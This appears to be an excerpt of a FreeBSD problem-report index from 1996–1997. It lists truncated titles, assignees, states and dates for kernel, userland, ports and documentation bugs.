bin/3307 Unable to Route to a different Class C wi o [1997/04/16] misc/3308 Missing "#include item' when making world o [1996/10/23] bin/1872 automounter (amd) cannot ls directories w o [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executabl o [1996/10/26] bin/1897 Sendmail 8.8.2 requires /etc/sendmail.cw o [1996/10/27] bin/1904 /usr/bin/su is not careful enough in veri o [1996/10/27] misc/1908 jkh FTP install failed DNS lookup o [1996/10/29] bin/1924 if lpd is not running, lpc will say ``no o [1996/10/30] i386/1931 Mitsumi CDrom works well under 2.1.x, fai o [1996/11/01] bin/1941 wtmp and monthly rotation o [1996/11/01] bin/1943 route(8) args o [1996/11/02] bin/1945 Out of date code/comments in dd o [1996/11/04] i386/1953 syscons savers have no default timeout o [1996/11/04] gnu/1961 uucp logging files are in /var/spool/uucp o [1996/11/06] bin/1968 FreeBSD has no rdate(8), here's one o [1996/11/06] bin/1970 csh limtail() bug o [1996/11/09] bin/1985 pkg_delete outputs confusing message when o [1996/11/13] kern/2004 route add -link panic o [1996/11/13] bin/2005 Poor command line argument checking and b o [1996/11/14] bin/2008 kerberos tickets from login all have the o [1996/11/15] kern/2022 Switching from X display to virtual conso o [1996/11/16] bin/2036 cpio size wraparound o [1996/11/16] ports/2038 torstenb sshd dies on FreeBSD machines if run as a o [1996/11/18] ports/2051 obrien HDF library port o [1996/11/19] bin/2061 DEBUG_FLAGS in bsd.lib.mk is broken o [1996/11/19] bin/2065 wollman in tzsetup/sysinstall, allow user to type o [1996/11/19] misc/2068 Unstable keyboard mappings on the main tt o [1996/11/20] kern/2072 ZIP drive support is available for FreeBS o [1996/11/21] ports/2079 obrien New ports supporting AWE sound driver (fo o [1996/11/22] docs/2087 ifconfig.8 does not document how to remov o [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusi o [1996/11/23] bin/2093 AMD gets sig 11 when /etc/malloc.conf is o [1996/11/24] ports/2096 tg ImageMagick outdated, lzw not supported o [1996/11/25] misc/2105 bsd.lib.mk has problems with STRIP and IN o [1996/11/26] bin/2106 Byte order problem in -current routed o [1996/11/26] i386/2108 sos [ATAPI] wcd driver may hang under certain o [1996/11/28] kern/2118 writing to virtual consoles fails to disp o [1996/11/28] bin/2119 mount lies to child about argv0, which ca o [1996/12/01] bin/2133 netstat -s overflows to negative o [1996/12/02] bin/2137 vm statistics are bad o [1996/12/02] kern/2140 FreeBSD leaves EtherExpress 16 net card i o [1996/12/03] ports/2145 ports qpopper bulletin support broken o [1996/12/03] conf/2146 wrong /dev for COM2 during installation v a [1996/12/04] docs/2153 mpp Manual page of bootparams(8) refers to a o [1996/12/06] i386/2166 psm driver locks the console o [1996/12/07] ports/2169 pst zephyr port does not completely compile o [1996/12/08] ports/2173 peter top does not compile under FBSD 2.1.6 o [1996/12/08] ports/2182 ports FreeBSD's and X-32's list of locales do n o [1996/12/08] bin/2184 sendmail has lots of trouble with local d o [1996/12/08] misc/2185 phk add ability to change partition type in l a [1996/12/10] ports/2190 asami need cross-reference to xpdf from X11 por o [1996/12/12] kern/2199 joerg Got a lots of "Target Busy" messages with o [1996/12/14] kern/2214 File System gets corrupted when mounting o [1996/12/14] bin/2216 Ada specs not being compiled into cc/gcc o [1996/12/16] bin/2227 FreeBSD does not recognize WD7000-ASC dri o [1996/12/17] i386/2234 fbsdboot.exe does not turn off floppy dri o [1996/12/17] i386/2239 some interrupts take too long (i.e. BT946 o [1996/12/18] misc/2242 Suggest add optional mt blocksize 512 o [1996/12/18] bin/2247 imp getopt should return -1 rather than EOF o [1996/12/20] bin/2260 PPP logins using PAP to Nortel/Shiva syst o [1996/12/21] ports/2264 ports latex* ports need updating a [1996/12/21] bin/2265 guido su(1) does not call skeyaccess() o [1996/12/24] kern/2273 dufault support for POSIX.4 / POSIX.1a RT-schedul o [1996/12/24] docs/2275 no support for isdn-cards o [1996/12/25] conf/2284 Termcap ibm3163 entry has arrow keys wron o [1996/12/26] bin/2291 race condition in /etc/master.passwd lock o [1996/12/27] kern/2298 Support for DSR/DCD swapping on serial po a [1996/12/27] misc/2302 markm new crypt() including SHS and an extendab o [1996/12/28] misc/2309 Thread safe fixes to malloc, localtime, l o [1996/12/28] ports/2313 torstenb pidentd fails in 2.2-BETA o [1996/12/29] bin/2315 tail segfaults on NFS permission denied o [1996/12/29] misc/2323 FreeBSD.FAQ file in ftp.freebsd.org is lo o [1996/12/30] kern/2327 `Green' saver for pcvt o [1996/12/31] bin/2336 jkh Sysinstall won't install dists on 2nd pas o [1997/01/01] docs/2353 Changes to FAQ o [1997/01/03] bin/2366 libc does not consult /etc/services to fi o [1997/01/03] bin/2368 serial line logins "freeze" during login o [1997/01/06] bin/2382 curses.h / -lcurses incompatible with C++ o [1997/01/06] bin/2383 Inconsistent tputs(3) prototypes in curse o [1997/01/06] misc/2386 patches for new socket credential firewal o [1997/01/06] bin/2387 virtual hosting patches for inetd o [1997/01/06] kern/2390 Some CDROM drives stop audio on cdcontrol o [1997/01/07] kern/2393 filesystems not unmounted following shutd o [1997/01/07] misc/2407 dirent.h does not include sys/types.h o [1997/01/07] bin/2410 pppd(8): failing PAP doesn't force line d o [1997/01/07] kern/2412 Wine does not work o [1997/01/07] ports/2413 peter Cannot redirect "top" output o [1997/01/08] kern/2424 Pressing ALT-Fn during boot -c leave bell o [1997/01/09] kern/2429 Driver for AIMS Lab RadioTrack radio card o [1997/01/10] bin/2437 minor nits on text in 2.2-BETA install o [1997/01/10] bin/2442 davidn setusershell()/endusershell() missing o [1997/01/10] bin/2443 Fetch cannot find the correct boundary be o [1997/01/11] bin/2448 semctl() not portable -- freebsd requires o [1997/01/11] docs/2455 no description "option COMCONSOLE" MLEN o [1997/01/26] misc/2596 dd refuses to respond to SIGkill o [1997/01/26] i386/2598 ep0 in EISA mode hangs if ep0-device (ISA o [1997/01/28] bin/2603 dufault Added POSIX.4/POSIX.1b constants in unist o [1997/01/28] bin/2604 dufault Added POSIX.4/POSIX.1b shm_open()/shm_unl o [1997/01/28] ports/2607 max New port: Gopher-2.3 o [1997/01/28] bin/2609 Problem receiving more than 1688835 bytes o [1997/01/29] misc/2617 Utility submission - upsmon - UPS monitor o [1997/01/30] kern/2621 Patch to support Cogent EM110 fast-ethern o [1997/01/30] docs/2623 ipfirewall(4) man page is way out of date o [1997/01/30] bin/2624 kdump unaware of semsys and several other o [1997/01/31] bin/2630 xargs does excessive and inconsistent arg o [1997/01/31] bin/2631 kill interprets empty arg as PID 0 o [1997/02/02] gnu/2637 tar dumped core with -g option. f [1997/02/02] ports/2639 jkh FreeBSD 2.2 teTeX-0.4 package does not in a [1997/02/02] bin/2641 wpaul login_access.c doesn't work with NIS by d o [1997/02/03] ports/2653 pst mh-6.8.4 manpage error for slocal o [1997/02/04] bin/2657 ypserv thinks there is no computers in ne o [1997/02/04] bin/2660 When selecting BSD to boot from system ha o [1997/02/04] bin/2665 port 22 isn't being converted to ".ssh" i o [1997/02/05] bin/2668 modification suggested for rarpd o [1997/02/05] bin/2672 Problem with telnetd o [1997/02/06] kern/2681 missing prototype in s [1997/02/07] ports/2684 torstenb ircII port upgrade; 2.9_roof -> 2.9alpha1 o [1997/02/07] kern/2686 struct igmpmsg in s o [1997/02/07] misc/2687 sysinstall umounts floppy after prompting o [1997/02/10] bin/2703 vipw doesn't allow you to edit master.pas o [1997/02/10] kern/2704 Occasional failure to detect wdc1 on boot o [1997/02/11] conf/2709 FBSD 2.1.6 X-Server installation setup ut o [1997/02/11] bin/2713 ftp daemon processes don't terminate, eve o [1997/02/11] kern/2715 MSDOS-FS 1024/2048 byte/sector media supp o [1997/02/11] kern/2716 od.c/sd.c non 512 byte/sector support imp o [1997/02/13] i386/2729 "make tags" in sys/kern produces barely u o [1997/02/14] bin/2734 jkh pkg_* uses relative paths to executables o [1997/02/14] bin/2735 jkh Add signature support (both MD5 and PGP) o [1997/02/14] bin/2737 yppasswd fails to change password on a su o [1997/02/15] misc/2745 fenner PR querry web form doesn't sort correctly o [1997/02/17] bin/2752 NULL is used instead of 0 many places o [1997/02/20] docs/2780 Description of Linux emulation is out of o [1997/02/20] bin/2782 err man page is slightly wrong o [1997/02/21] misc/2789 na.phone update o [1997/02/22] ports/2797 tg New Port: qmail o [1997/02/23] kern/2806 new kernel tags script o [1997/02/23] kern/2807 pcisupport.c uses sprintf field widths, n o [1997/02/24] docs/2810 Tutorial submission detailing how to upgr o [1997/02/25] i386/2813 hard reference to /usr/src breaks make wo o [1997/02/26] conf/2819 /etc/rc does not execute 'uname' when con o [1997/02/26] conf/2822 ftp install specifying URL confusing o [1997/02/27] gnu/2827 after make world genclass is not installe o [1997/02/28] docs/2833 Repeated topics on FAQ entry hardware com o [1997/03/02] bin/2845 sync with spiffy new netbsd/openbsd ftp c o [1997/03/02] misc/2848 jmg newsyslog will notify syslogd, not any ot o [1997/03/02] docs/2850 init(8) man page does not document secure o [1997/03/02] bin/2851 script(1) sets argv[0] of the started she o [1997/03/03] kern/2857 DE500 board exhibits capture effect o [1997/03/03] bin/2859 /usr/bin/quota seems to choke on long gro o [1997/03/03] bin/2864 Using modload with -p option broken o [1997/03/03] kern/2865 dfr NFS client hangs on umount, ls, df when N o [1997/03/03] bin/2871 showmount -e returns error o [1997/03/04] misc/2882 Duplicate line in /etc/services? o [1997/03/05] kern/2886 fenner mbuf leak in multicast code o [1997/03/06] docs/2897 mpp send-pr categories should be explained so o [1997/03/06] bin/2898 fenner arp -a -n buglet a [1997/03/06] ports/2902 ports Fix xmcd port for PACKAGE_BUILDING a [1997/03/06] ports/2905 ports Fixed port: xshisen-1.36 o [1997/03/08] ports/2920 ports patch for mispositioned xv windows under o [1997/03/09] i386/2924 syscons X keyboard gets stuck in capsmode o [1997/03/09] ports/2926 ports xmgt-2.31 port, now in pub/incoming on ft o [1997/03/10] bin/2933 sysinstall fails when adding packages thr o [1997/03/10] bin/2934 sh(1) has problems with $ENV o [1997/03/10] ports/2936 tg The teTeX port runs strup on /usr/local/b o [1997/03/10] bin/2938 Add -b, -l, and -f options to du(1) o [1997/03/10] docs/2939 `man 8 sticky` == outdated o [1997/03/10] conf/2943 standard-supfile missing src-release and o [1997/03/11] ports/2949 ports bsd.port.mk needs something like FETCH_EN o [1997/03/11] ports/2951 ports xgraph source is not on MASTER_SITE o [1997/03/11] misc/2955 pkg_add failed on xemacs via sysintall o [1997/03/12] ports/2961 ports New port(jp-vftool-1.2):japanese/virfonts o [1997/03/12] bin/2968 fmt dumps core on ^M o [1997/03/13] ports/2974 ports updated Makefile and patch-ab of jp-dvi2p o [1997/03/13] bin/2977 After enabling moused and vidcontrol and o [1997/03/13] bin/2979 GCC complains about stmt. expr. when comp o [1997/03/13] i386/2984 serial port console only prints ~ 1 char o [1997/03/14] ports/2988 joerg vga font is not built o [1997/03/15] ports/2993 ports qmail-port-take2-proff.tar.gz in incoming o [1997/03/15] kern/3001 soundblaster8 card does not work correctl o [1997/03/16] misc/3009 packages-2.2/x11/fvwm-1.24r.tgz corrupt o o [1997/03/17] ports/3012 ports qmailanalog port in incoming o [1997/03/18] conf/3022 /etc/sysconfig was not set up with option o [1997/03/18] conf/3023 By default users have no write permission o [1997/03/18] misc/3024 make reinstall in /usr/src requires writa o [1997/03/18] bin/3025 mv to / trailed dirs prints odd error mes o [1997/03/18] bin/3028 sos add support for Glidepoint pointing devic o [1997/03/19] misc/3040 sysinstall XF86Config graphic mode YES=== o [1997/03/19] bin/3042 comm and uniq do not have a case insensit a [1997/03/21] ports/3052 ports /usr/ports/lang/expect does not find tkCo o [1997/03/22] kern/3061 route does not accept -genmask o [1997/03/24] misc/3075 2.2-R install "features" (non critical) o [1997/03/24] bin/3080 yacc produces output which doesn't compil o [1997/03/24] ports/3081 ports sitelispdir is a directory no a path in x o [1997/03/24] ports/3090 ports ircii-2.9-roof does not run. o [1997/03/25] bin/3101 "command" entry of ps -uc is too wide, ou o [1997/03/26] docs/3112 Handbook says that users should use sup o [1997/03/26] misc/3113 make libraries failed. o [1997/03/27] misc/3119 /usr/share/syscons/keymaps/german.iso.kbd o [1997/03/27] ports/3121 tg teTeX 0.4 package has missing links ? a [1997/03/28] misc/3136 rc.firewall should be run after interface o [1997/03/29] bin/3139 qcamcontrol has a bug where I/O errors ar o [1997/03/29] misc/3140 display message is broken on boot.flp o [1997/03/30] docs/3147 /usr/share/misc/au.postcodes o [1997/03/30] misc/3148 adjkerntz screws up during GMT/BST change o [1997/03/31] bin/3152 FreeBSD 2.2-STABLE: getty does not initia o [1997/03/31] misc/3155 Checksum mismatch o [1997/03/31] gnu/3157 Patches to gas and gdb to support MMX ext a [1997/04/01] bin/3164 mpp view copies the file into vi.recover o [1997/04/01] ports/3169 ports nn port broken o [1997/04/01] kern/3172 CS4232 support trouble for mss0 o [1997/04/03] bin/3190 RISCom N2 card driver problem? o [1997/04/04] kern/3191 Commiting of the ppa Zip Drive driver to o [1997/04/04] bin/3194 2.2.1-RELEASE hangs when using /stand/sys o [1997/04/05] bin/3202 shutdown(8) don't work if started from an o [1997/04/05] bin/3206 su seg-faults when being invoked with an o [1997/04/06] bin/3210 routed having problems with /etc/gateways o [1997/04/06] bin/3211 ctm uses mktemp()> o [1997/04/06] bin/3212 the pkg_* tools use mktemp() o [1997/04/06] misc/3217 The rmail.c err() function will fail in m o [1997/04/07] bin/3221 rpc.rusersd : can't communicate with SunO o [1997/04/07] misc/3225 uucpd.c should normalize host names as lo o [1997/04/08] bin/3232 XFree86 installation Problem with non-Mic o [1997/04/08] bin/3233 adduser(8) doesn't add users to the wheel o [1997/04/08] misc/3237 SCRIPTS addition to bsd.prog.mk a [1997/04/09] bin/3241 times(3) returns only stime o [1997/04/09] bin/3242 incorrect prototype for initgroups o [1997/04/09] bin/3245 variable substitution "a=${a:=}" in /bin/ o [1997/04/10] bin/3251 xsysinfo stops refreshing and wastes CPU o [1997/04/10] kern/3253 scsiconf.c: make ZIP disks use optical dr o [1997/04/11] misc/3254 Can't connect to my ISP, because my ISP u o [1997/04/12] bin/3269 exec pppd -detach ... caused a kernel pan o [1997/04/12] docs/3270 command 'cvs init' missing from cvs(1) o [1997/04/13] conf/3272 $@ is deprecated I believe, so use ${.TAR o [1997/04/13] docs/3275 mpp Some man pages has absolutely wrong date o [1997/04/14] kern/3281 errors when "rm -r"-ing in a mounted ext2 o [1997/04/14] kern/3282 ext2fs causes fs-unmount at shutdown/rebo o [1997/04/14] bin/3283 brandelf fails on files without write per o [1997/04/14] bin/3284 symorder(1): -t option doesnŽt work at al o [1997/04/14] bin/3285 date option for pom(6) (phase of the moon o [1997/04/14] bin/3286 missing error checking in mount_mfs(8) ak o [1997/04/14] kern/3287 missing symbols in /usr/src/sys/i386/i386 o [1997/04/14] kern/3288 addition of a -f (force) option to "write o [1997/04/14] bin/3289 login(1) does not check /etc/skey.access o [1997/04/14] docs/3290 port option in lpd not valid o [1997/04/15] docs/3295 ATAPI CDROM not found during setup o [1997/04/15] kern/3299 /dev/console hangs o [1997/04/15] kern/3302 msdos FS bogus error o [1997/04/15] bin/3303 ftpio manpage o [1997/04/15] ports/3306 ports new port-package for ifmail o [1997/04/16] bin/3311 If non-root tries to mount CD, mount says o [1997/04/17] docs/3313 manpage bug in scsi(8) (cmd args are hex) o [1997/04/17] bin/3314 /etc/daily did not run on April 6, 1997 o [1997/04/17] kern/3317 odd TUBA_INCLUDE use in tcp_input.c o [1997/04/17] ports/3318 ports New port: jigsaw (Java-based HTTP server) o [1997/04/18] ports/3322 markm setlocale problem in lang/perl5 a [1997/04/19] ports/3335 ports new port request of korean/hanemacs o [1997/04/20] ports/3358 asami XFMail-1.1 has been released o [1997/04/20] bin/3360 su(1) cannot call MD4Init(3) from libskey o [1997/04/20] ports/3363 max port of nana-1.00 for your collection o [1997/04/21] misc/3368 sysinstall upgrade should confirm before o [1997/04/23] kern/3375 Consistent 10 min. delay at boot with REL o [1997/04/24] bin/3379 mprof dumps core on FreeBSD 2.2.1 o [1997/04/25] docs/3382 bootp.8 -t option o [1997/04/25] ports/3383 ports kaffe core dumps if LD_LIBRARY_PATH not s o [1997/04/25] bin/3386 kernel 'config' wrapper 'doconfig' ala Di o [1997/04/27] ports/3396 max update of the port of Mesa (now version 2 o [1997/04/27] bin/3397 vipw does not distinguish between rebuild o [1997/04/27] bin/3399 mv of symbolic link can move directory in o [1997/04/27] docs/3400 MAXMEM uses maths in LINT o [1997/04/27] conf/3401 sysinstall sends empty FreeBSD user regis o [1997/04/28] ports/3411 ports New port - Atari 8 bit computer emulator o [1997/04/28] ports/3412 ports New port - Apple IIGS beta release o [1997/04/29] bin/3416 ibcs emulation problems o [1997/04/29] bin/3418 pkg_create doesn't always create gzip'ed o [1997/04/29] bin/3421 chown/chgrp show wrong error message when o [1997/04/30] kern/3426 Linux emulator can't find NIS users o [1997/04/30] bin/3430 start-if.${ifn} needs to be called as a s o [1997/05/01] kern/3444 Linux emulator can't find NIS users o [1997/05/01] bin/3445 chown/chgrp show wrong error message when o [1997/05/01] bin/3453 start-if.${ifn} needs to be called as a s o [1997/05/01] ports/3455 jmz mtools-3.6.tgz could have a better mtools o [1997/05/01] misc/3465 make-localhost uses %y to generate year o [1997/05/02] bin/3474 misprint in arpa/telnet.h o [1997/05/02] kern/3475 gdb(ptrace?) cause create/modify times on o [1997/05/03] misc/3476 Please add support for .cpp suffix to sta o [1997/05/03] bin/3477 top wastes 16 characters in USERNAME colu o [1997/05/04] docs/3490 mount.8 manpage refinement about Nm and X s [1997/05/04] ports/3498 ports nn-current port is out of date o [1997/05/04] ports/3499 markm exim port out of date o [1997/05/05] misc/3503 rpc.yppasswdd doesn't start due to typo i o [1997/05/05] i386/3504 New features (and manpage) for netboot o [1997/05/05] bin/3506 more did not show iso-8859-n characters o [1997/05/05] bin/3508 FreeBSD 2.2.1 do not view SCSI disk at sw o [1997/05/06] docs/3522 Man pages close(2) misses fcntl lock info o [1997/05/07] bin/3528 fsck fails to detect some illegal block n o [1997/05/08] kern/3546 ktrace works even if no read permission o [1997/05/08] gnu/3552 the -L option of tar does not work proper o [1997/05/09] bin/3556 Bug with -i option in /usr/bin/lpr o [1997/05/09] bin/3558 make reinstall collapses on install-info o [1997/05/09] kern/3560 Timeout counter bug in /sys/i386/isa/wd.c o [1997/05/09] kern/3571 Mounted ext2 prevents umount of filesyste o [1997/05/10] bin/3573 bug in stty -sane output o [1997/05/10] misc/3575 compilation of strtoq.c produces unnecess o [1997/05/11] conf/3577 eBones and OBJLINK=yes fails to build o [1997/05/12] kern/3584 cleanup TCP_REASS macro in tcp_input.c o [1997/05/13] conf/3590 Difference in ttys and FAQ o [1997/05/13] kern/3595 param counts not idential between definit f [1997/05/14] ports/3597 ports jp-groff-0.99 port macro update o [1997/05/16] bin/3608 Telnet in linemode will break apart long o [1997/05/17] kern/3611 Internal CPU cache on CyrixiInstead DX2 d o [1997/05/18] gnu/3616 permissions of /usr/libexec/uucp/uuxqt no o [1997/05/18] bin/3623 Extra definition of vwprintw in curses.h f [1997/05/19] ports/3634 andreas fvwm95-2.0.43a-i18n-port.tar.gz was put o [1997/05/19] docs/3636 No mention is made in relevant manpages a o [1997/05/20] bin/3638 /bin/w can't handle long /dev/{tty,cua}xx o [1997/05/20] bin/3639 ac doesn't know about FreeBSD's pty names o [1997/05/20] docs/3643 man page of login_getclass(3) not up-to-d o [1997/05/20] docs/3645 TCP_wrappers package doesn't mention wher o [1997/05/21] bin/3648 find(1) extension for file flags o [1997/05/21] ports/3657 ports Port of NCSA HyperNews submitted as p5-hy o [1997/05/22] i386/3663 Unable to get system printer to work o [1997/05/22] ports/3665 jmz mtools port install fails o [1997/05/22] kern/3667 patches to modularize vnode driver o [1997/05/24] conf/3673 no ddp line in /etc/protocols o [1997/05/24] docs/3675 man page of mount(2) of 2.2.2R o [1997/05/25] kern/3678 bug in IPDIVERT code in -current o [1997/05/25] docs/3680 manpage cal.1's SYNOPSIS is incorrect. o [1997/05/25] docs/3681 mapage column.1's EXAMPLE does not match o [1997/05/25] docs/3682 Macro usage in manpage ld.1 is not apropr o [1997/05/25] ports/3687 asami Gnat 3.09 Ada Compiler o [1997/05/27] misc/3695 compiled termcap.db not in distribution o [1997/05/28] docs/3704 not dump(5) man page. o [1997/05/28] bin/3705 /stand/sysinstall hangs. pkg_add also ha o [1997/05/29] docs/3709 manpage vmstat.8 has some problems o [1997/05/29] conf/3713 installation floppy bug o [1997/05/30] kern/3720 Addition for supported Hardware o [1997/05/30] kern/3724 sig-11 on package add in sysinstall o [1997/05/31] ports/3729 ports pgsql dies when initiated o [1997/05/31] kern/3731 Addition of a PCI Bridge f [1997/05/31] bin/3733 davidn getty with 'to' option causes pppd to die o [1997/05/31] docs/3735 getlogin manpage says wrong OS o [1997/05/31] ports/3737 ports The DHCPD no longer works under FreeBSD 2 o [1997/06/01] kern/3738 Byte and packet counters in ipfw overflow o [1997/06/01] kern/3739 pause key not disabled; weird stuff when o [1997/06/01] bin/3741 Mention virtual terminals in MAKEDEV's ma o [1997/06/01] conf/3751 Improvements to /etc/rc{,.network,.pccard o [1997/06/02] ports/3759 tg xtem-5.23 (X11 TEx Menu) port submitted ( o [1997/06/02] bin/3762 dufault Bogus return values from rtprio(1) o [1997/06/02] docs/3764 systat(1) -vmstat description seems to be a [1997/06/02] ports/3765 ports New port: mpd-1.0b3 o [1997/06/02] bin/3766 ping has a few missing ntohs() & ntohl() o [1997/06/03] bin/3769 strftime %C should be %c (lstart option) o [1997/06/04] conf/3775 Time Zone for Sri Lanka - LKT o [1997/06/04] bin/3777 quiz dies early o [1997/06/04] bin/3778 ypbind -S domainname,server1,... does not o [1997/06/04] bin/3780 WEXITSTATUS() may return nagative value, o [1997/06/04] ports/3787 ports ghostscript-3.53 has bad PLIST o [1997/06/06] bin/3801 'timed' don't work with option '-n' o [1997/06/07] bin/3805 single process tftpd o [1997/06/07] ports/3806 ports update s3mod to 1.09 o [1997/06/08] docs/3808 The manpage telnet.1 has many bugs. o [1997/06/09] bin/3818 "dd conv=sync" makes garbage o [1997/06/09] docs/3819 man (5) login.conf specifies passwordtime o [1997/06/09] ports/3824 ports New port: snes97 o [1997/06/09] bin/3826 KerberosIV sometimes hangs rcp o [1997/06/09] ports/3831 ports netris port doesn't install sr o [1997/06/10] kern/3836 Cannot remove HUGE directory o [1997/06/10] bin/3837 dufault new feature for rtprio o [1997/06/10] kern/3839 X startup undoes keyboard repeat rate (pc o [1997/06/11] bin/3850 /usr/bin/cmp fails with nonzero byte offs o [1997/06/12] kern/3853 netboot/ns8390.c breaks NS datasheet o [1997/06/12] bin/3855 /usr/bin/cmp fails with nonzero byte offs o [1997/06/12] i386/3856 Improvement to autodetection logic o [1997/06/13] docs/3858 passwd(5) says class field is unused o [1997/06/13] bin/3859 Setting the $0 variable in perl dosnt do o [1997/06/13] docs/3861 Line 108 of rc.conf refers to rc.conf(8) o [1997/06/14] bin/3864 Incorrect usage of err(3) in mount_union. o [1997/06/14] bin/3866 rcs2log fails with eastern timezones o [1997/06/14] ports/3870 ports Upgrade tkdesk 1.0b3 --> 1.0b4 o [1997/06/15] docs/3877 In manapge keyadmin.8, key show be rename o [1997/06/15] kern/3879 Can't export mounted ext2fs via NFS o [1997/06/16] conf/3886 install does not build sendmail host stat o [1997/06/17] ports/3888 ports port net/wu-ftpd: tiny bug that is wu-ftp o [1997/06/17] bin/3891 NIS-only netgroup lookups don't work o [1997/06/17] ports/3892 max new port: www/webxref (cross-reference ge o [1997/06/17] gnu/3894 manpath segfaults if it dosen't understan o [1997/06/18] kern/3901 Multicast for Intel 10/100 Ethernet Card o [1997/06/19] bin/3903 markm Kerberized su -l fails with segfault o [1997/06/19] misc/3912 ctags(1) cannot trace some macro correctl o [1997/06/20] gnu/3918 vi dosnt wrap lines when called from send o [1997/06/21] ports/3922 ports Author released a new version of nmh - up o [1997/06/22] ports/3928 ports New port: jp-pgp-2.6.3ia (language) o [1997/06/22] ports/3935 ports another mp3 player o [1997/06/23] kern/3938 Problem about mmap() over NFS o [1997/06/23] ports/3939 ports new port: latex2html_icon_server o [1997/06/23] ports/3940 ports port of latex2html-96.1 o [1997/06/23] docs/3941 misc bug on man page of indent.1 o [1997/06/24] kern/3944 if_le doesnt receive ether multicast pack o [1997/06/24] docs/3945 incomplete man page for gethostent o [1997/06/24] bin/3947 /usr/src/etc/pccard_ether is too old... o [1997/06/25] kern/3948 nonworking t/tcp server side o [1997/06/25] docs/3951 Missing smp(4) manpage. o [1997/06/25] kern/3953 kern-config: options PANIC_REBOOT_WAIT_TI o [1997/06/25] ports/3955 ports -kpassive_ftp=true fails on socket connec o [1997/06/26] bin/3957 Makefile dependency error in amd o [1997/06/26] ports/3958 ports a2ps fails if used according to man o [1997/06/26] i386/3962 print disk internal cache size during pro o [1997/06/27] kern/3968 Hardware probes die on Peak SBCs. o [1997/06/28] docs/3979 Error in manpage hier(7) o [1997/06/28] misc/3981 brian wtmp logging of ppp activity would be nic o [1997/06/29] ports/3983 ports New port: psf toolkit o [1997/06/29] ports/3987 ports Update port - crossgo32 o [1997/06/30] ports/3991 ports set of OffiX ports o [1997/06/30] ports/3996 ports nmh needs dependecy on autoconfig to work o [1997/06/30] ports/3997 ports New port: VRML browser (vrweb) o [1997/07/01] bin/4004 moused(8) + international language text = o [1997/07/01] ports/4008 ports New port - DJGPP Version 2 libraries for o [1997/07/01] ports/4009 ports New port - Curses for crossgo32 with DJGP o [1997/07/02] bin/4010 Problem with edquota -t - tmpfile not rem o [1997/07/02] ports/4014 ports package/port installation obeys roots uma o [1997/07/02] i386/4016 Patch to add dead key support to syscons o [1997/07/02] ports/4017 ports Someone has to upgrade the plor port! o [1997/07/03] bin/4019 mount_mfs lacks an error message, and exi o [1997/07/03] kern/4020 itojun vxget() in /sys/dev/vx/if_vx.c needs rewo o [1997/07/03] ports/4023 ports One can't play the cardgame Ass on FreeBS o [1997/07/03] i386/4024 Patch to add dead key support to syscons o [1997/07/03] ports/4025 ports New port - jp-ebw3 o [1997/07/04] ports/4027 ports New port: rot13-1.3 o [1997/07/04] misc/4028 GNATS auto-magically re-opened 14 prs o [1997/07/05] kern/4037 boot.flp panics after kernel load if >2 s o [1997/07/05] ports/4038 ports Initial port of the alpha-rel. WindowMake o [1997/07/06] kern/4039 2940UW and DCAS 32160 -- hungs if 40 MB/s o [1997/07/07] kern/4051 pppd connect 'chat ...' broken o [1997/07/07] kern/4052 VJ compression drops packets with IP+TCP o [1997/07/07] ports/4054 ports Port for Amp 0.7.3 o [1997/07/07] ports/4055 ports Port for XMpeg3 v1.0 o [1997/07/07] ports/4056 obrien Port for netpipes 3.2 o [1997/07/08] ports/4061 obrien new port: xklock o [1997/07/08] misc/4063 2.2.2R Installation fails if Jaz drive sp o [1997/07/08] docs/4065 ppp.8 is inconsistent wrt ppp.log name o [1997/07/08] ports/4066 ports Port for Mikmod 2.14 o [1997/07/09] ports/4067 ports wrong formats of files in offix.tar o [1997/07/11] ports/4077 ports new version of lout - 3.10 o [1997/07/12] bin/4079 formatting error (man getty) o [1997/07/12] bin/4080 hyphenation occurs within .Xr o [1997/07/13] ports/4083 ports netscape wrapper doesn't hand off args co o [1997/07/13] kern/4086 Floppy Disk Driver Problem o [1997/07/14] bin/4087 nameservice terminates after ndc restart o [1997/07/14] ports/4094 ports squid11 port is outdated o [1997/07/16] ports/4100 ports I contribute a new port. o [1997/07/16] bin/4102 User level ppp stops communicating - sour o [1997/07/16] ports/4103 ports Should I or should I not ? o [1997/07/16] ports/4104 ports Minor fix to hobbes-icons-xpm3 o [1997/07/17] ports/4109 ports New port: xcopilot o [1997/07/17] kern/4112 PPSCLOCK kernel diffs o [1997/07/17] kern/4113 Processes shouldn't get SIGIO when the tt o [1997/07/17] kern/4114 Processes shouldn't get SIGIO when the tt o [1997/07/18] bin/4116 davidn Kerberized login as .root fails to o [1997/07/18] ports/4118 ports New Port: bind 8.1.1 o [1997/07/19] bin/4120 Partition sysid prevents extended DOS par o [1997/07/19] ports/4121 ports New port: xpbiff and xpbiff-youbin o [1997/07/19] bin/4122 behaviour of src/usr.sbin/syslogd o [1997/07/19] ports/4124 ports Apache 1.2.1 port does not install docume o [1997/07/20] ports/4127 ports netscape-3.01: get rid of bogus error mes o [1997/07/20] misc/4128 ctags(1) overlooks objects decived by ext o [1997/07/20] ports/4131 max Upgrade of news/suck to version 3.5.0 o [1997/07/20] ports/4133 ports new port: mpich.tar.gz o [1997/07/21] misc/4138 /etc/rc and sudo : chg to rm -rf /var/run o [1997/07/21] ports/4139 ports new port: bibview o [1997/07/21] ports/4140 ports New port: xgolgo (x11) o [1997/07/22] ports/4142 ports Hugs port to FreeBSD 2.2.1 o [1997/07/22] bin/4145 join(1) failes or outputs wrong output wi o [1997/07/22] ports/4148 ports scheme48 port not at latest version o [1997/07/22] ports/4149 ports gcl port isn't of latest version o [1997/07/23] bin/4152 pstat -T o [1997/07/23] kern/4153 New tcp initial send sequence number code o [1997/07/23] bin/4154 wish /bin/sleep handled fractions of a se o [1997/07/24] ports/4155 ports Fixed port: imlib-0.2 o [1997/07/24] ports/4156 ports Fixed port: enlightenment-0.10 o [1997/07/24] bin/4157 netstat atalk output should print symboli o [1997/07/24] docs/4161 manpage arp.8's "`auto''" is unballanced. o [1997/07/24] docs/4162 manpage merge.1 misses 2 roff macros (`.T o [1997/07/24] bin/4163 ftp core dumps after hitting control-C o [1997/07/24] kern/4164 joerg pcvt VT_WAITACTIVE ioctl busted o [1997/07/25] bin/4165 fetch gone to interminable query cycle af o [1997/07/25] ports/4166 ports Wnn6 is a Japanese input method o [1997/07/25] kern/4169 syscons HISTORY_SIZE option o [1997/07/26] bin/4170 fencepost error in more... o [1997/07/26] bin/4172 link goes down for too long -- transfer f o [1997/07/26] ports/4174 ports file 